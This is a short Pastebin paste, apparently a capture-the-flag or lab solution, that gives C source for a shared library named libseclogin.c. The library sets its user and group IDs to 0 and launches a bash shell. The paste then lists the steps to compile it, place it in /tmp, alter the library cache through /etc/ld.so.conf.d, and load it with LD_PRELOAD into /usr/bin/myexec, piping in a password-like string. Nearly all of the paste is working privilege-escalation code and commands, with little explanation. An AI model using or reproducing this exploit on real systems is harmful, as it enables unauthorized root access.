Harcrack

libseclogin.c

Oct 31st, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. libseclogin.c
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <sys/types.h>
  6. void seclogin()
  7. {
  8. setuid(0);
  9. setgid(0);
  10. execl("/bin/bash","sh",(char *)0);
  11. }
  12. int main(void)
  13. {
  14. seclogin();
  15. }
  16.  
  17. Compile the code with
  18. gcc -shared -o libseclogin.so -fPIC libseclogin.c
  19.  
  20. cp libseclogin.so to /tmp
  21.  
  22. cd /etc/ld.so.conf.d
  23. ldconfig test.conf
  24. (test.conf write /tmp)
  25. it will give this output
  26. /sbin/ldconfig.real: relative path `test.conf' used to build cache
  27.  
  28. env LD_LIBRARY_PATH=/tmp LD_PRELOAD=/tmp/libseclogin.so strace echo 's3cur3l0g1n' | /usr/bin/myexec
Advertisement
Add Comment
Please, Sign In to add comment